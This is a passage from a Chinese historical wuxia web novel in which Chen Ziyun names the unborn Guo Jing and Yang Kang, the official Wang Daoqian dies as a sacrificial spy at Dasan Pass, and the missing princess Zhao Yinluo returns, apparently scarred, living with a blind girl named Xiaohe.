陈子云说的倒是实话。教人怎么做,也许可以,但是要自己这么费尽心思的去谋划算计一个人,实在不是他的性格。 王道乾摇摇头,却没有再说什么,他自然不会真的相信陈子云说的。旁观者清,这不是过推辞而已。 这世间人不止千万,能真的做到心里清楚的人又有几个,不过既然自己这位驸马爷愿意藏拙,他当然不会不识相的非要揭穿。 将把王道乾送回王府,接上在王府暂留的赵茵萝,在王家恭敬的拜送之下,两人携手离开了,依旧是陈子云撑着伞。 “老爷,往日也没见您与公主府来往啊,怎么今年天这两位突然上门了?还好我们这位公主不挑剔,否则家里的这场面,不是要丢死人。” 王夫人指着那些个王道乾不久前收入房中的几个打扮的花枝招展的小妾。虽然知道这是自己夫君为了做大事,做做样子而已。 可哪个女人真能对于进家门的其他女人毫无顾忌的。 王道乾自然也明白自己夫人的心思,可他如今哪里会有心思处理这些。本以为韩相找上自己,说了那个计划之后,自己基本就如那火金姑一般,临死前不知能在屁股后面亮几天了。 可这也总比在礼部一直等到老死值得,哪怕是明知道自己成了一个死间。 孙子有云:“故用间有五:有因间,有内间,有反间,有死间,有生间。五间俱起,莫知其道,是谓神纪,人君之宝也。……死间者,为诳事于外,令吾间知之,而传于敌间也……故三军之事,莫亲于间,赏莫厚于间,事莫密于间……” 王道乾心里默默背诵着这传世千年的名篇,对自己的命运洞若观火的同时却也能坦然接受。 …… 今年的雪似乎特别的厚重,赵茵萝在临安这么些年也没有遇见过。在她的印象中,临安的雪向来都不过是为了点缀那些诗词才子的笔墨才下的,这次却是不然了。 “你觉得王道乾这个人如何?” 本来安安静静给赵茵萝撑着伞的陈子云突然开口问了一句。 不过赵茵萝倒是没有什么奇怪的,或者说这本来就在她的预料中。从自己拜师开始,不管是武功还是学识方面,陈子云总会抓着机会就考考她。 赵茵萝也习惯性的理了理思路,这是自从被陈子云教训说“答案不错,就是逻辑混乱”之后养成的习惯。 “官僚、无作为、有胆色、无后患……” 在说出最后那个关键词的时候,赵茵萝显然的楞了一下,她似乎也意识到了这个特点很有可能,就是王道乾被韩侂胄跟宋宁宗选中当死间的原因。 见陈子云并没有驳斥,赵茵萝整理一下情绪继续说道。 “王道乾出生平民,是靠着科举考试上来的。但是成绩一般,文章也不算出彩,朝中又没有背景,所以在礼部待了十年也没有出头的机会。 同时因为这些年在底层官场耳濡目染,加上本身的天赋,倒是对一些鬼蜮伎俩很是熟稔。可惜以他当时的清闲职位,根本没有施展的机会。 而根据子虚得来的消息,他倒是算的上是重情义的。高中之后,就把家中的糟糠之妻接过来了。 似乎当时还拒绝了几家临安小权贵家族的榜下捉婿的……好意。” 赵茵萝说到这里时,神色露出了几分鄙夷。当然是对如今比较实兴的,临安的富贵人家,在科举放榜当天,给自己女儿捉女婿的勾当。 在她看来,这绝不是什么好现象,说是权贵勾结未来朝臣,或者刚有点成就就急着寻找靠山,都不是她能看得上眼的。 而且历史上也有各种坏例子,其中最被家喻户晓的就是陈世美案了,也算是最高级别的榜下捉婿了。 也不知道,是不是陈世美这个驸马爷的身份,触及到了赵茵萝的痛点。 “呵呵……” 陈子云轻笑了两声,倒不是嘲讽,只是觉得有趣,没想到王道乾这样滑不留手的老官僚还有这样的一面。 “而这位夫人,也并不是什么倾国倾城的大美人,只是位普通的乡里举人的女儿,倒是读过些书,算得上书香门第。 可是……” 赵茵萝又犹豫了,甚至有些稍稍幽怨的瞥了陈子云一眼。 “这位夫人,似乎一直无所出,到如今也是没有为王道乾生下一儿半女。王道乾也刚好以此为理由,在这一年的时间里,纳妾数人。 我看过那些女人,虽然有几分姿色,但终究不过都是些什么都不懂的小丫头。” 第二百三十一章 求名 “也就是说,这些不过是王道乾在被选中后,故意做出的表象,为的就是在官场上留下个好色的名头,以方便让人来贿赂他。” 陈子云道。 “不错,而且你别看着王府里外看着奢华,其实里面那些华贵的东西,他们基本都没有怎么用过。 反而一些夹杂在其中的普通物件,倒是一看就知道是频繁使用的。” 赵茵萝道。 “那也就是说,王道乾贪财也是假的。” “不错,而且他们厨房里的食材都准备着两份,一份是招待人用的,一份却是他们自己吃的,其中的差别也是如此。” “这么说,这位王大人,倒是个难得的好官了!” 陈子云啧啧称奇,因为他基本放手了子虚的事情,反倒是没有赵茵萝那么清楚情况。 赵茵萝犹豫了一番,还是摇摇头。 “不贪财,不好色的官,不能说一定是好官,王道乾更合适说是一个碌碌无为的官。 我甚至不清楚,我爹爹跟大伯是如何选中他的。 因为不管从哪方面看,这样的一个低级官员,都不应该引起他们的注意才是。” “哈哈哈,可千万别小看他们两位,作为这个王朝的绝对权力中心,他们的本事跟手段,哪里是一般人能够清楚的。” 赵茵萝点点头,以前的她只把宋宁宗当成一个忙碌的父亲,可当她接触的事情越多,才越发现这个作为南宋皇帝的父亲是多么的神秘与强大。 “不过我猜测,王大人应该很好名。” “哦?怎么说?” 陈子云好奇的问道。 “我在他的书房里,看到了很多历史名臣的着作。不但如此,他还摘抄了许多座右铭,装裱在书房的两侧。” 赵茵萝道。 “嗯,这到是给了王道乾一个甘愿做死间的理由。名留青史,确实是一个让人付出一切都愿意的理由。” 陈子云道。 “自古读书人,好名多过好利。” 赵茵萝道。 “也不知道,这样的读书人是多些好,还是少些好。” 陈子云道。 追求名利是人性中永不可剔除的根,不能片面的说追名逐利是好是坏。追求虚名而对他人无一利,那自然是不被大众喜好的。 但若是想王道乾这般,好名,同时也愿意为名付出一切,为自己的国家争取来一次难得的机会,又怎么不让人感动,这般的千古留名又有何弊端。 可遗憾的是,在历史长河中,总是前者多而后者少。人们总是希望,自己能够付出一分就得到九分。 希望得名,却不像出命。 活着享受名利带来的好处,才是他们的追求。 …… “起立。” “先生午安……” 陈子云这天教完了上午的课程,刚准备离开私塾,却是看到郭啸天跟杨铁心两人正提着不少猎物朝这边来。 “陈先生。” 郭杨二人拜见道。对于所有牛家村的人,习惯性跟着自己的小孩称呼自己为先生,陈子云到也是已经习惯了。 “郭教官。” “杨教官。” 还不等陈子云回礼,从里面出来的学生倒是先给郭杨二人行礼了。 “诶诶……乖……乖了。” 郭杨二人即开心又自傲的应答着。 陈子云乐见其成,这本来就是他有意为之的。 陈子云对于这些孩子的教育,本来就是为了增强他们的社会生存能力。而郭杨二人的弓箭射猎的水平本来就是不差的,也愿意在不忙的时候来教教这些邻里孩子。 陈子云把他们请来,在闲暇时教这些孩子一些谋生的本事,本来是应该同样称郭杨二人位先生的,可郭杨愣是不肯接受。 说他们虽然不至于是文盲,可教书育人这样的才称为先生,他们最多就是个把式猎人,当不得如此尊称。 无奈二人的坚持,陈子云只能退而求次之,让个学生们称他们为教官,武术或者狩猎技巧的教官。好在这些村里的孩子倒是懂得感恩的,平时遇见了也是一般的尊师行礼。 这让郭杨两个外来人在村里的地位也一下子提升了几个档次,他们也没想到,不过是自己玩闹般的教育竟然会有这般的效果。 所以他们对于陈子云,这位陈大善人更是感激。同时但凡有打到猎物多的,又是些卖不上价钱的,就都往私塾或者说是陈子云的府上送。 好在郭杨两家里的两个女人,一个通情达理,一个本来就不过问世事,倒是没因此闹出家庭矛盾来。 等所有学生都从教室出来,问候过两人去了食堂,郭杨二人才重新想起他们来找陈子云的目的。 哦,这个食堂是因为,随着学生的越发多了,再在教室里吃饭总是不方便,就在隔壁搭建了一个简易的棚子,不过饭菜还是从陈府里送出来的。 “陈先生,这是今天刚打到的飞龙,给你带来尝尝味道,这么大的如今可是难得一见了。” 郭啸天提起其一只五彩斑斓的飞鸟道。 “对对,陈先生,我这里还有一只小鹿,这东西的肉可是滋补的很,你也尝尝。” 杨铁心明显是有些局促的学着郭啸天的客气,可惜啊,那副摸样,注定是学不像的。 “哈哈哈,我说,你们两兄弟,今天可是不对劲啊。真要送东西,你们以往不都是送到我家厨房的吗,何必送到这里来。” 陈子云自然一眼就看穿了两人的不同寻常。 “诶,郭大哥,我就说吗。” 杨铁心的直肠子,直接将猎物泄气的往地上一丢。 “杨兄弟。” 郭啸天赶紧使了个眼色。 “好了,好了,两位要是有什么事情就直说,我这还要去看看学生们的饭食呢。” 陈子云制止了郭啸天那久经考验的老练嘴脸。到不是看不起,只是知道对方是什么人,实在也就没必要跟他们客气。 “陈先生,慢来,慢来。” 杨铁心丢下了猎物张开两只宽大的手臂,作势要拦着陈子云,似乎生怕他跑了似的。 可向来不会求人的性子,又让他有些为难的看看郭啸天。 后者看事情已然到了这个地步,要是再不直言,怕是反而要惹得陈子云不高兴,就索性说了出来。 “其实是我跟杨兄弟的内子,都已经快要临盆,本来两家都想了些名字,可看着终究不是很合心意。 而这牛家村里,就数陈先生你的学识最广,所以我们兄弟二人斗胆请先生给小儿赐名。” 第二百三十二章 靖康 “原来如此。” 其实陈子云哪里会不知道郭靖跟杨康这对冤家兄弟即将降生的事情。 他之所以住进牛家村,其中很大一部分原因就是为了这两位来的。 可这点心思,自然不能直接表现出来,要不然总会让人家父母觉得自己对他们尚未出生的爱子有所图谋。 而是要让对方主动找上门来,自己再做顺水人情,那自然而然的发展,才会让人觉得理所当然。 “那,两位小公子的大致生辰是在何时?” 陈子云问道,古人取名自然是要贴合自身的生辰八字的。就算是到现在,不是还有看孩子命中缺哪个五行,就要在名字里加上相应的说法吗。 “内子也就在下个月中了。” “贱内临盆要比郭大嫂晚上一个月。” 郭杨两人急切切的说道。 陈子云沉吟了片刻。 “要是按照历书上的日子,这两个月出生的孩子,分别欠缺的水行跟木行。要是按这个取,水字可选泽、浙、润都是上选。 而木字,梅兰竹菊皆可,君子之表不过此四者。” 郭杨二人听到此处相互看了一眼,陈子云自然明白他们的意思,这样的简单取名,自然就不用来找他了。 “哈哈,看来你们是别有所求啊。如此,倒是要费些思量了。” “还请陈先生费心。” 郭啸天赶紧道。 陈子云在私塾门口踱了几步,边走还边不时的看看郭杨二人。 盏茶的功夫,终于又重新站定,却做出了有些为难的表情。 “倒是有一对名字很是合适你二人的子嗣,只是这名字怕是有些煞气,不知两位受不受得住。” “陈先生尽管说就是了,我们相信先生。” 郭啸天道。 “嗯,如此。” 陈子云说到一半突然又制住了,他突然想试试一种冥冥中的天意。便运力与指,在私塾旁的一块青石上起笔。 石粉纷飞,夹着丝丝的焦臭味,那块石头上竟然被陈子云一根肉指生生的刻出了两个字来。 “你们两家都算是将门之后,这两个字要是拿得住,倒也算是不忘先祖了。” 陈子云说完就走了,看着那两个愣愣的呆住的两人,一时是回不过神了。 “好字。” “好功夫。” 等两人回过神来,陈子云早就已经不在了。 “郭大哥,这陈先生到底何方神圣,怎么会有这样厉害的人物来我们牛家村?” “杨兄弟,圣人有云:‘视其所以,观其所由,察其所安。人焉廋哉?’ 不论陈先生是什么人,我们只需要知道他做的是什么事就行了。要是没有他,牛家村如今会是如何摸样。 至于其他的,谁都有自己不想公开的秘密,既然陈先生不说,我们何必强求。” “郭大哥说的是,以陈先生的本事,这牛家村就是全卖了去换成钱财,也不会被他看在眼里。” “是啊,不只是陈先生,就是那位我们只是见过一面的陈夫人显然也不是常人。” “那是自然,能配得上陈先生这般大才的,就算是一国公主也是相称的。” 杨铁心倒是无心猜中了。 “要是我们的子女能拜这样的人物为师,那就好了。” 郭啸天想的明显就比杨铁心远的多。 “这有何难,既然陈先生在这里教书,到时候不管是男娃还是女娃,都送来私塾便是了。 难道郭大哥你还怕嫂子生个女孩,便要她大门不出二门不迈不成。” 杨铁心道。 “杨兄弟,你没明白我的意思。我不是说这样的先生弟子的关系,而是师傅徒弟的传承。 要是只上私塾,陈先生自然是不会拒绝的,可如果要他传下真本事来,恐怕没有那么容易。” 郭啸天道。 “啊,原来郭大哥说的是……不错,不错,陈先生这般的本事,要是真能收下我们的孩子当弟子,那可是天大的造化了。” 杨铁心也是有些激动的拍手道,可随即又皱起了眉头。 “要是说这上私塾的束修,我们两家倒是不怕出不起的。可说要是家里有什么值得让陈先生能收下徒弟的拜师礼,就算我把祖传的铁枪拿出来,估计也是丢人现眼的份。” “正是如此,我才不知如何是好啊。” 郭啸天跟杨铁心本来对陈子云留下的靖康二字的喜悦,如今却成了得不到陈子云收自己孩子为徒的心结。 所以啊,不管好坏,总有得一想二的根子。思想纯正的,这种行为就叫做积极进取,思想跑偏的,这种行为就叫做得寸进尺。 “郭大哥,要不我们每次进山,多打些猎物,给陈府多送些野货。上次你不是说有城里的药房在收药材吗,碰到品相好的,我们也采些去卖。 就算不多,但积沙成堆,总归是给两个没出生的小子攒些家当。” 杨铁心这人性格虽然比郭啸天暴躁些,但同样也更看得开些。 “也就只好先如此了。” 郭啸天道。 …… 陈子云从私塾回来,点头回应仆人的行礼,吩咐将午饭送到自己的书房,就开始在书房里查看起子虚送来的密报了。 尤其是关于宋金一个月前,在大散关的那一场不为人知的小规模试探性攻防战。 结果早就出来了,五千金军中了宋军请君入瓮之计,大半的有生力量被活活烧死在大散关内。 要不是城门在大火的焚烧后终究被那些悍不畏死的骑兵冲开,说不得这五千金军就要全部留下。 可同样的,宋军的损失也绝对不小,为了防止这些金军冲出布置好的瓮城,最少有两千宋军用生命堵住了瓮城的出口。 甚至连那位作为死间,却明明有机会保命的王道乾,为了让领军的金军将领相信,亲自出城给这位将军牵马。 这位王大人被愤怒的金军将领砍成几段之前,留给这世间的遗言只是一句:“可惜不是完颜洪烈,倒也不亏了。” 而也是因为这位慷慨赴死的王大人,本来只是暗中跟去见见战争场面的赵茵萝,也在大散关失去了踪迹。 当时子虚传来的最后一份关于赵茵萝的消息,是不知为何这位头脑发热的公主殿下,直接冲进了金军中。 第二百三十三章 赵茵萝失踪 而当跟着她的子虚发现,想阻止的时候,已经为时已晚。没办法那位部下只能向守城的将军禀明身份,同时要求对方必须把赵茵萝救出来。 否则这场本来不过是两国之间相互试探的战争,顷刻间就会因为南宋死了唯一的公主,而变成举国之战。 陈子云虽然不在场,但也可以想到当时那位本来已经建功在望的将军,是如何亲眼见到的晴天霹雳。 他知道,如果赵茵萝真的死在了大散关,那他还不如直接就此殉国来的好,起码皇帝还能优待他的家人。 所以将军无法,只能让城中的士兵往瓮城里冲,救人的同时还不能让这些金军逃出去。这也是为什么这帮中计的瓮中之鳖还能损伤这么多宋军的一大原因。 而当将军知道赵茵萝的行为后,自然就等于是告诉了宋宁宗,陈子云在还没有收到子虚消息的时候就直接被召唤进了宫。 本来从没有在陈子云面前发过脾气的宋宁宗直接把刚收到的奏报劈头盖脸的就砸了过来。 陈子云本能的接住,看了看气的快背过去的老丈人,以及在一边跪着,却已经明显被打的不轻的赵令。 “你们两个混蛋,竟然让茵萝身赴险地,如今更是生死不知,你们有何脸面来见朕。” 宋宁宗咆哮着,一脚直接踹在赵令身上。 陈子云自然是知道赵茵萝去的大散关的,可听到生死不知四个字的时候,心脏也是瞬间狂跳。 一字字看完宋宁宗砸过来的奏报,他才知道,赵茵萝到底出了什么样的岔子。 陈子云是又惊又气,虽然不排除里面可能有这位奏报的将军推卸责任的意图,但是凉对方胆子再大也不敢坑害一国公主。 “我去大散关。“ 陈子云不假思索的说道。 “不许去。” 宋宁宗却是直接回绝了,瞪着眼睛看着陈子云,同时大口的吸气,似乎在压抑着自己的什么情绪。 陈子云没说话,只是在等宋宁宗的理由,如果对方没有合适的理由,他可不是非要听他这个皇帝的。 “你先出去。” 宋宁宗道。 “说你呢,聋了。” 宋宁宗又踢了一脚跪在地上的赵令。 “啊,是,是。” 赵令慌忙起身,在经过陈子云旁边的时候,根本不敢抬头看他,如今他这幅狼狈的摸样,最不想见到的就是陈子云了。 这半年多的时间,他虽然在子虚玄部风雨兼得。可对于陈子云却是越发的不解,这人故作神秘的躲在子虚的背后,连自己这么明目张胆的夺权都不反抗。 可通过子虚的点点滴滴,赵令也能看得出,那些部下对于这位子虚的建立者是多么的崇拜。 甚至就算自己以性命相威胁,也不愿意说出半句对陈子云不利的话。 而这样的作为也引来了赵茵萝的不满,直接当着众人在子虚内部呵斥了他,让他好不容易建立起来的威信坍塌大半。 好在自己在那时已经安排了一些人进入了子虚,不至于沦落到无人可用的地步,可本来的夺权计划却也变得举步维艰。 所以说,他赵令此时要说最恨的也是最不想见到的人,非他陈子云莫属。 当赵令经过了陈子云,终究是按捺不住自己的恨意,眼神中毫不掩饰的厌恶,朝着他的背影瞥了一眼。 可这一眼却直愣愣的撞在了陈子云的眼里,原来陈子云正早就感受到了赵令对他的敌意,在对方将这种情绪表露出来的时候,身体自然的回头一望。 这就让两个人的眼神刚好在空中相遇,陈子云是无情的透彻,赵令则是慌乱的驻足。 “还不走。” 宋宁宗的一声轻喝算是解救了赵令的心虚。 当门再次被关上,宋宁宗直接不顾形象的往御座的台阶上一座。刚才还竭力保持着威严的宋宁宗赵扩,像是被瞬间抽走了精气神,眼中满是担忧与疲惫。 “子云啊,你让我怎么跟皇后交代啊。茵萝可是她的命根子,她要是有个不测,你这是让朕……” 宋宁宗的眼中竟然真的有了几分湿润。 “陛下,茵萝不会那么容易出事的。” 陈子云神色平静的说道,他说的很自信,不管是作为赵茵萝的师傅,还是丈夫。 他可以说是最了解赵茵萝的人,以她如今的功夫和智慧,只要不是自己找死,就算是万军之中,也不是没有生还的机会。 何况当时金军已经中计,深陷瓮城,又大火烧身,如此混乱之中,也不会有人特别注意她一个人的来去。 虽然陈子云现在不确定,为何赵茵萝会失去踪迹,但是他跟相信是赵茵萝故意为之,而不是像宋宁宗想的那般遭遇了不测。 “你不用安慰朕,我知道茵萝跟你学的本事不小,可自古都是双拳难敌四手,何况是在千军万马之中。” 宋宁宗自然是无法相信的,毕竟他不懂武学,在一个帝王的概念里,军队才是这世间武力的代表。 陈子云也不想过多的解释,如今他更想尽快去一趟大散关,看看到底是什么情况。 “如果陛下不放心,那就更应该让我去看看。” “不行,如今那里时局不稳,如果不是怕刺激金庭,朕都想派遣军队过去了。可那地方实在是两国的关键所在,如果朕肆意而为,不但救不了茵萝,可能还有亡国之祸。” 宋宁宗再次的拒绝。 陈子云沉吟片刻,也想明白了宋宁宗的担忧。这一场交战,宋军在占尽上风的情况下,实际战损却是与金庭相当。 这但凡是稍微懂些军事的人就能看出来,如果两国真的摆开来打,那宋国是肯定扛不住的。 宋宁宗虽然疼爱赵茵萝,可他毕竟还是个有理智的皇帝,不可能为连自己的女儿就冒着可能葬送祖宗社稷的风险。 “如今之计,朕会调动所有台面下的渠道,让他们去寻找茵萝。你也让子虚全员出动,把别的事情都放下。 韩相那边,算了,我去跟他说吧,以一个父亲的名义。” 陈子云点点头,他当然也知道,韩侂胄肯定有自己的暗处势力,这些本来是他们君臣之间看破不说破的默契。 可如今,涉及到两家人都不得不全力发动的事件,也就顾不得这些了。 第二百三十四章 现身 “但是你,子云,你的身份金国那边是知道的。此时的大散关必然是暗探密布,你要是在那里露面,不管你怎么想,金庭肯定会有所反应。 到时候不但耽误了找寻茵萝的时机,甚至会把你也陷进去。” 宋宁宗严厉的说道。 陈子云本来想反驳,自己有的是隐藏自己的办法,可看到宋宁宗那严厉中透露的几分关切,不由得就张不开嘴了。 原来从陈子云的角度看去,不知道什么时候,不过不惑之年的宋宁宗竟然有了好些的白发,上次见他的时候可没注意到。 “陛下,还望保重身体。” 陈子云微微躬身道。 宋宁宗捋捋头上有些散乱的头发扯着嘴角说道。 “朕这白发,可不及你的多呢。” 宋宁宗指了指陈子云的黑白参半的头发,随即似乎想到了什么,顿了顿又继续道。 “以前那丫头,还会小心的把朕刚长出的白发一根根拔了,说白发不能留,留着会引来别的白发。” 陈子云自然知道宋宁宗说的是赵茵萝,这皇宫里,或者说这天下间,也就赵茵萝敢在他这位皇帝头上动手动脚了。 “可自从嫁给你这个小子后,朕这头上的白发却是没有人管了。” 宋宁宗明明没有看陈子云,可陈子云却觉得自己被一种最纠人的目光审视着,带着嫉妒,也有无奈。 陈子云此时体会到的是一种让他不知要如何回答的情形,这是他从来没有遇到过的。 “去吧,这件事情千万不能告诉皇后,要是她问起,你就说是茵萝,茵萝……” 宋宁宗似乎一时间找不出合适的理由。 “就说茵萝练功到了关键处,需要闭关静修。” 陈子云道。 “不错,就这么说吧。” 宋宁宗语气明显的透露着疲惫,挥挥手,示意陈子云自己离开。 …… 而到如今赵茵萝失踪已经将近一个月了,就算是以陈子云的心理素质也不由得开始担心,对方是不是真的出了什么差错。 不然就算赵茵萝再有什么事情,也不至于这么长时间,一点消息都不传回来。 而且不管是子虚,还是宋宁宗跟韩侂胄派出去的人都没有找到她的踪迹。哪怕有天大的事情,难道还能难住他们三人联合起来的力量? 陈子云也开始有些不解,要是再得不到赵茵萝的消息,他也就顾不得宋宁宗的禁令了。 “谁……” 一颗石子准确的打在了陈子云书房的窗外,能这般靠近自己书房还不被自己发现的人,来人绝对不是一般的高手。 陈子云瞬间从书房的窗户里蹿出,可对方似乎早有准备,留给他的只是一个黑色的背影。 陈子云立刻跟上,这人的轻功也果然了得,直到出了牛家村,他才勉强追上。 “站住。” 那人突然在一颗树上停住了身形,而那声音也是怪异的很,听得出是女声,但粗糙音色比糙汉子还不如,而且很是沙哑。 “不知阁下何人,为何深夜来我府上?” 陈子云看不清那身明显不合身形的黑袍下藏着的人影,更不用说对方还用头套遮面。 而且那人为了掩藏身形,已经几乎将整儿身体都藏进了浓密的树冠之中,陈子云只看得见那双在黑暗中依旧明亮的眼睛。 有些熟悉,却不知为何其中满怀的怒火。 可那人也不回话,就这么呆呆的立在树冠中间,直直的看着陈子云。 “是啊,连你也认不出我了。” 那人犹如梦呓一般的轻语,除了她自己,谁也听不清。可那唯一露出来的眼睛里,却已经再也止不住泪水。 “茵萝?” 陈子云有些不确定的呼唤了一声。 那站在树冠上的人,像是被突然的给人狠狠打了一击,整个人都在摇晃,连带着树冠都抖动起来了。 “茵萝,真的是你,你这是怎么了,为何……” 陈子云急切的问道。 “不要问,你什么都不要问了。” 那人算是直接承认了自己就是赵茵萝,可她如今为何要打扮成这样,为何又要过家门而不入。 赵茵萝直接在树冠上一借力,整个人就往外跃出。 陈子云当然不会看着消失了一个月的赵茵萝又在自己眼皮子底下溜走。 “不要跟来。” 赵茵萝沙哑的声音传来,陈子云自然不听,两步就上了树冠。 “你要是追来,我就杀了牛家村的人。” 陈子云听到这话,直接就楞在了那里,因为他能感觉到,对方绝对不是在威胁而已,是真的做得出来。 这让他脑子一下子都没反应过来,赵茵萝到底经历了什么。陈子云无法想象,刚才那句决绝的话是从那个小公主的口中说出来的。 当那犹如黑夜中的蝙蝠一般的身影消失在树林中,陈子云才默默的从树冠上下来。 可比让他知道赵茵萝失踪还要不解的是,为何一个人在一个月之内就能这样变化。 而赵茵萝的嗓音又为何成了这样,陈子云听得出来,那不是故意压低自己的声线装出来的,而是真的喉咙收到了严重的损伤。 陈子云感觉自己的呼吸在变得沉重,那还扶着树干的手不自觉的在发力,直到听到了清晰的喀嚓声,他才回过神来。 …… 赵茵萝顾不了不断从双眼中掉落到泪滴,只是拼命的奔跑着,像是要让风将她所有的悲伤带走。 明明已经经历过了那样的痛苦,明明已经说好不再哭泣,明明一路上不知道杀了多少败类泄愤。 可一见到自己永远无法放下的人,那被自己竭力压抑在心中的情感,就如喷泉一般的涌出。 “姑姑,是你回来了吗?” 赵茵萝已经来到了一间山脚下的茅屋前,里面有一个稚嫩的声音传来。 “是我,小荷。” 赵茵萝用手背擦拭了一番眼角,本来沙哑的音色也带上了几分温柔。 一个衣着破旧,但是看着十分干净的小女孩从茅屋里走了出来。瘦弱的身体的身体,发黄的脸色,加上没有光泽的头发,一看就知道是穷苦人家的孩子。 而当你看那双似乎不属于人间般透彻的眼睛时,又觉得这就是以为遗落人间的仙子。 但凡是长在人间的少女,到了她这个年纪,哪里还会有这般的纯洁无瑕的眸子。 第二百三十五章 进宫求助 “小荷,你出来做什么,赶紧进去。” 赵茵萝似乎很害怕这个小姑娘走出茅屋。 “姑姑,你不用这样的,小荷虽然看不见,可小荷早就习惯了。我从没有用眼睛看过世界,但我照样能感受到周围的东西。 比如说这里有块石头,那边有个破的水缸,你看,我都不会撞到东西的。” 这个小姑娘为了证明自己,还故意往前走了几步。原来这个小姑娘竟然是个天生的盲人,可她那种不染尘埃的笑容却是连正常人都难以拥有的。 “我不是这个意思,这晚上山林里又湿又冷,你上次受了风寒刚好,不能再被风邪入体了。” 赵茵萝牵住了小荷的手,拉着她进了茅屋。 小荷本来就是因为担心自己这位路上捡来的姑姑的安危才出来的,如今知道她安然的回来了,自然是紧紧的握住着这人间对她而言唯一的温暖。 “姑姑,你说你去见一个人,见到了吗,他好吗?” 小荷问道。 “嗯,他……很好。” 赵茵萝给已经小了不少的火堆重新添上柴火,同时也把心里泛起的情绪死命的压下。 “那……那姑姑会跟他走吗?” 小荷很是忐忑,从小就因为自己的眼疾而被亲生父母抛弃,而收养她的好心人在知道她是天盲之后也遗弃了她。如今她再也没法承受,自己被这位姑姑再次抛弃的痛苦了。 “不会的,姑姑不是跟小荷约定过的吗。不管到哪里,我们两人永远也不会再分开了。” 赵茵萝温柔的抱住这具娇小的身躯,就像是抱住了一个稀世珍宝。 “嗯。” 小荷发出一声满足的长音,体会着让她总是着迷的温情。 …… “什么,你见到茵萝了?” 宋宁宗不顾身份的直接从御座后面跳了出来。 “那她人呢,怎么不跟你一起进宫来,这个丫头,难道不知道她的娘娘跟朕快被她气死了吗。” 陈子云看着这个神情激动的抓着自己老丈人,不由得有些愧疚,对方两鬓的白发已经快遮不住了。 “怎么她受伤了,是在府里疗伤,所以来不了。愚蠢,难道宫里的御医还比不上那些乡野郎中吗,快,快让茵萝进宫来。” 宋宁宗说着就要让内侍去传旨意了。 “陛下。” 陈子云的语气明显的透着沉重。 这让本来嘴角始终带着失而复得的笑意的宋宁宗顿时收起了所有的欢喜。 “茵萝……她……” 宋宁宗的神情明显是想到了最坏的情况,这也是他这个月来做的最多的噩梦。 “不,陛下,茵萝活着,而且行动自如。” 陈子云道。 “那你为何……” 宋宁宗有些小心翼翼的闻着,生怕从自己这位女婿口中听到什么噩耗。 “茵萝她……“ 陈子云把昨天晚上半夜见到赵茵萝的情形讲了一遍,以及自己根据她的声音,以及全身装束做出的判断。 结合大散关当时的大火,陈子云的判断是,很有可能赵茵萝是被大火所伤,甚至可能伤势曾经很严重。 以至于让她不愿意传消息回来,更是不敢见人。 “嘭……嘭……嘭……” 宋宁宗咬着牙,捏着拳头,一拳一拳的锤在自己的御案上,那上面的些许物件都在跟着拳头的起落跳动。 陈子云知道,宋宁宗是在极力的控制着自己的悲伤与愤怒。对于一个女子而言,毁容两个字实在是太过沉重。 而作为自己唯一的公主,宋宁宗如何能够承受,自己那本来就苦命的女儿,如今又受到了这样的伤害。 要是换成别的,哪怕是赵茵萝被金军俘获,宋宁宗也早就想好了对应的预案,就算是割舍一座并不关键的城池,他也会力排众议同意的。 可如今这样的场面,却让他这个做父亲的,做帝王的人也有力无处使。毁容,这是让这个时代医生束手无策的绝症。 所以他只能这样发泄自己的愤懑与自责。 “陛下,还请冷静下,如今最大的问题是要让茵萝自愿留下。” 陈子云劝慰道。 “不会的,这个孩子,朕知道的。你别看她自幼体弱,可其实心里是很骄傲的。 很多时候受了委屈,连皇后都不说,就自己一个人默默忍着。就算不小心弄伤了自己,也只是她自己收拾。 有一次我问她为何如此,她说她不愿意让别人看到自己的软弱,也不想照顾自己的那些人,因此受到责罚。 多么好的孩子啊,可上天为何要这般对待她。” 宋宁宗眼中含泪的说着。 “我知道的的,陛下。所以我才来找您跟皇后商量,茵萝既然昨晚还能来见我一面,那就说明她还是舍不得的。 只要她肯接受此时的情形,那我们就有机会将她带回来。” 陈子云道。 “回来,当然要回来,子云,你说的不错,茵萝一定要回到朕跟皇后的身边来。” 宋宁宗道。 “立刻,立刻派人搜山。子云,你直接带路,只要她还在临安附近,就算是掘地三尺也要找到朕的女儿。” “不用的陛下,昨天晚上我就知道茵萝在哪里了。” 陈子云道。 原来昨晚陈子云在回神之后,还是不放心,直接朝着赵茵萝消失的方向找了过去。 终于让他找到了山间那间茅屋,他没有直接进去,因为他知道,如果自己想强行带走赵茵萝,留得住人也留不住心。 而且以她现在这么不稳定的情绪,陈子云也怕她做出什么伤害她自己的事情。 这也是他为何刚天亮就来宫里找宋宁宗的原因,要说这天下还有赵茵萝牵挂的人。 除了自己,那也就是宫里的这两位了。 “那还不快去,不,带朕一起去。朕要当面看看,朕的妞妞到底是受了什么委屈。” 宋宁宗的声音颤抖。 “嗯,还是最好把皇后跟御医都带上。” 陈子云道。 “皇后……” 宋宁宗有些不确定,连他都不确定自己能不能忍得住,要是皇后看到了赵茵萝那凄惨的摸样,又是如何。 “还是……” “陛下,茵萝终究是在娘娘跟前长大的,要说茵萝最亲近的人,终究是她。有御医跟着,让他们准备些急救的药丸吧。” 陈子云道。 第二百三十六章 盲女小荷 “如此……” 宋宁宗还是有些踌躇。其实在听到赵茵萝可能毁容之后,他的心态就乱了。要是换做平时,就算他不是什么杀伐果断的君王,但是那种起码的临危不乱的素养还是具备的。 “就这么办吧,我先去盯着茵萝的情况,还请陛下早早的跟皇后说明,我会让人在牛家村等你们。” 陈子云此时也顾不得什么介越了,他要赶紧回去盯着那栋茅屋,要是赵茵萝离开了,再要找可就麻烦了。 “那就……” 等宋宁宗下定决心的时候,陈子云早就离开了皇宫。 “红衣……红衣……” 宋宁宗呼唤着。 一袭红袍出现在了一根大红柱子后面。 “红衣,这次帮朕办一件私事吧。朕要去找回我的女儿,你到时候帮我拦着她。” 宋宁宗的语气竟然带着几分请求之色。 “有驸马爷在,无需我。” 红衣简洁的说道。 “不。” 宋宁宗摇头。 “论武功,子云自然是拿得下茵萝的,可要是茵萝不肯,我怕子云一时心软,留不住她。” 红衣没有立刻回答,似乎在思索。 “好。” …… 小荷从梦中醒来,揉揉自己的眼睛,虽然她从未见过光明,可这样的动作似乎是从娘胎里带来的,所有人都一样。 她能清晰的感知到,睡在自己旁边的姑姑的柔和舒缓的呼吸,表明对方还在沉睡。 